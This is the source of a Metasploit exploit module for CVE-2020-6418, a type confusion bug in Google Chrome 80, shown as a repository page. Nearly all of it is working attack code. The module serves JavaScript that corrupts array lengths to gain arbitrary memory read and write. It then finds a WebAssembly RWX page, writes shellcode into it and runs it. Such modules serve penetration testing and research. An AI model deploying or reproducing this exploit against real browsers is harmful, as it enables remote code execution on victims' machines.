Path: blob/master/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::Remote::HttpServer::BrowserExploit1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',16'Description' => %q{17This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit18corrupts the length of a float array (float_rel), which can then be used for out19of bounds read and write on adjacent memory.20The relative read and write is then used to modify a UInt64Array (uint64_aarw)21which is used for read and writing from absolute memory.22The exploit then uses WebAssembly in order to allocate a region of RWX memory,23which is then replaced with the payload shellcode.24The payload is executed within the sandboxed renderer process, so the browser25must be run with the --no-sandbox option for the payload to work correctly.26},27'License' => MSF_LICENSE,28'Author' => [29'Clément Lecigne', # discovery30'István Kurucsai', # exploit31'Vignesh S Rao', # exploit32'timwr', # metasploit copypasta33],34'References' => [35['CVE', '2020-6418'],36['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],37['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],38['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],39],40'Arch' => [ ARCH_X64 ],41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => [ REPEATABLE_SESSION ],44'SideEffects' => [ IOC_IN_LOGS ],45'Stability' => [CRASH_SAFE]46},47'Targets' => [48['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', { 'Platform' => 'win' }],49['macOS - Google Chrome 80.0.3987.87 (64 bit)', { 'Platform' => 'osx' }],50],51'DisclosureDate' => '2020-02-19'52)53)54end5556def on_request_uri(cli, request)57print_status("Sending #{request.uri} to #{request['User-Agent']}")58escaped_payload = Rex::Text.to_unescape(payload.raw)59jscript = %Q^60var shellcode = unescape("#{escaped_payload}");6162// HELPER FUNCTIONS63let conversion_buffer = new ArrayBuffer(8);64let float_view = new Float64Array(conversion_buffer);65let int_view = new BigUint64Array(conversion_buffer);66BigInt.prototype.hex = function() {67return '0x' + this.toString(16);68};69BigInt.prototype.i2f = function() {70int_view[0] = this;71return float_view[0];72}73BigInt.prototype.smi2f = function() {74int_view[0] = this << 32n;75return float_view[0];76}77Number.prototype.f2i = function() {78float_view[0] = this;79return int_view[0];80}81Number.prototype.f2smi = function() {82float_view[0] = this;83return int_view[0] >> 32n;84}8586Number.prototype.fhw = function() {87float_view[0] = this;88return int_view[0] >> 32n;89}9091Number.prototype.flw = function() {92float_view[0] = this;93return int_view[0] & BigInt(2**32-1);94}9596Number.prototype.i2f = function() {97return BigInt(this).i2f();98}99Number.prototype.smi2f = function() {100return BigInt(this).smi2f();101}102103function hex(a) {104return a.toString(16);105}106107//108// EXPLOIT109//110111// the number of holes here determines the OOB write offset112let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];113var float_rel; // float array, initially corruption target114var float_carw; // float array, used for reads/writes within the compressed heap115var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space116var obj_leaker; // used to implement addrof117vuln.pop();118vuln.pop();119vuln.pop();120121function empty() {}122123function f(nt) {124// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug125vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);126for (var i = 0; i < 0x10000; ++i) {};127}128129let p = new Proxy(Object, {130get: function() {131vuln[0] = {};132float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];133float_carw = [6.6];134uint64_aarw = new BigUint64Array(4);135obj_leaker = {136a: float_rel,137b: float_rel,138};139140return Object.prototype;141}142});143144function main(o) {145for (var i = 0; i < 0x10000; ++i) {};146return f(o);147}148149// reads 4 bytes from the compressed heap at the specified dword offset after float_rel150function crel_read4(offset) {151var qw_offset = Math.floor(offset / 2);152if (offset & 1 == 1) {153return float_rel[qw_offset].fhw();154} else {155return float_rel[qw_offset].flw();156}157}158159// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel160function crel_write4(offset, val) {161var qw_offset = Math.floor(offset / 2);162// we are writing an 8-byte double under the hood163// read out the other half and keep its value164if (offset & 1 == 1) {165temp = float_rel[qw_offset].flw();166new_val = (val << 32n | temp).i2f();167float_rel[qw_offset] = new_val;168} else {169temp = float_rel[qw_offset].fhw();170new_val = (temp << 32n | val).i2f();171float_rel[qw_offset] = new_val;172}173}174175const float_carw_elements_offset = 0x14;176177function cabs_read4(caddr) {178elements_addr = caddr - 8n | 1n;179crel_write4(float_carw_elements_offset, elements_addr);180print('cabs_read4: ' + hex(float_carw[0].f2i()));181res = float_carw[0].flw();182// TODO restore elements ptr183return res;184}185186187// This function provides arbitrary within read the compressed heap188function cabs_read8(caddr) {189elements_addr = caddr - 8n | 1n;190crel_write4(float_carw_elements_offset, elements_addr);191print('cabs_read8: ' + hex(float_carw[0].f2i()));192res = float_carw[0].f2i();193// TODO restore elements ptr194return res;195}196197// This function provides arbitrary write within the compressed heap198function cabs_write4(caddr, val) {199elements_addr = caddr - 8n | 1n;200201temp = cabs_read4(caddr + 4n | 1n);202print('cabs_write4 temp: '+ hex(temp));203204new_val = (temp << 32n | val).i2f();205206crel_write4(float_carw_elements_offset, elements_addr);207print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));208209float_carw[0] = new_val;210// TODO restore elements ptr211return res;212}213214const objleaker_offset = 0x41;215function addrof(o) {216obj_leaker.b = o;217addr = crel_read4(objleaker_offset) & BigInt(2**32-2);218obj_leaker.b = {};219return addr;220}221222const uint64_externalptr_offset = 0x1b; // in 8-bytes223224// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array225function read8(addr) {226faddr = addr.i2f();227t1 = float_rel[uint64_externalptr_offset];228t2 = float_rel[uint64_externalptr_offset + 1];229float_rel[uint64_externalptr_offset] = faddr;230float_rel[uint64_externalptr_offset + 1] = 0.0;231232val = uint64_aarw[0];233234float_rel[uint64_externalptr_offset] = t1;235float_rel[uint64_externalptr_offset + 1] = t2;236return val;237}238239// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array240function write8(addr, val) {241faddr = addr.i2f();242t1 = float_rel[uint64_externalptr_offset];243t2 = float_rel[uint64_externalptr_offset + 1];244float_rel[uint64_externalptr_offset] = faddr;245float_rel[uint64_externalptr_offset + 1] = 0.0;246247uint64_aarw[0] = val;248249float_rel[uint64_externalptr_offset] = t1;250float_rel[uint64_externalptr_offset + 1] = t2;251return val;252}253254// Given an array of bigints, this will write all the elements to the address provided as argument255function writeShellcode(addr, sc) {256faddr = addr.i2f();257t1 = float_rel[uint64_externalptr_offset];258t2 = float_rel[uint64_externalptr_offset + 1];259float_rel[uint64_externalptr_offset - 1] = 10;260float_rel[uint64_externalptr_offset] = faddr;261float_rel[uint64_externalptr_offset + 1] = 0.0;262263for (var i = 0; i < sc.length; ++i) {264uint64_aarw[i] = sc[i]265}266267float_rel[uint64_externalptr_offset] = t1;268float_rel[uint64_externalptr_offset + 1] = t2;269}270271272function get_compressed_rw() {273274for (var i = 0; i < 0x10000; ++i) {empty();}275276main(empty);277main(empty);278279// Function would be jit compiled now.280main(p);281282print(`Corrupted length of float_rel array = ${float_rel.length}`);283}284285function get_arw() {286get_compressed_rw();287print('should be 0x2: ' + hex(crel_read4(0x15)));288let previous_elements = crel_read4(0x14);289//print(hex(previous_elements));290//print(hex(cabs_read4(previous_elements)));291//print(hex(cabs_read4(previous_elements + 4n)));292cabs_write4(previous_elements, 0x66554433n);293//print(hex(cabs_read4(previous_elements)));294//print(hex(cabs_read4(previous_elements + 4n)));295296print('addrof(float_rel): ' + hex(addrof(float_rel)));297uint64_aarw[0] = 0x4142434445464748n;298}299300function rce() {301function get_wasm_func() {302var importObject = {303imports: { imported_func: arg => print(arg) }304};305bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];306wasm_code = new Uint8Array(bc);307wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);308return wasm_mod.exports.exported_func;309}310311let wasm_func = get_wasm_func();312// traverse the JSFunction object chain to find the RWX WebAssembly code page313let wasm_func_addr = addrof(wasm_func);314let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;315print('sfi: ' + hex(sfi));316let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;317print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));318319let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;320print('instance: ' + hex(instance));321322let wasm_rwx_addr = cabs_read8(instance + 0x68n);323print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));324325// write the shellcode to the RWX page326while(shellcode.length % 4 != 0){327shellcode += "\u9090";328}329330let sc = [];331332// convert the shellcode to BigInt333for (let i = 0; i < shellcode.length; i += 4) {334sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));335}336337writeShellcode(wasm_rwx_addr,sc);338339print('success');340wasm_func();341}342343344function exp() {345get_arw();346rce();347}348349exp();350^351352jscript = add_debug_print_js(jscript)353html = %Q^354<html>355<head>356<script>357#{jscript}358</script>359</head>360<body>361</body>362</html>363^364send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })365end366367end368369370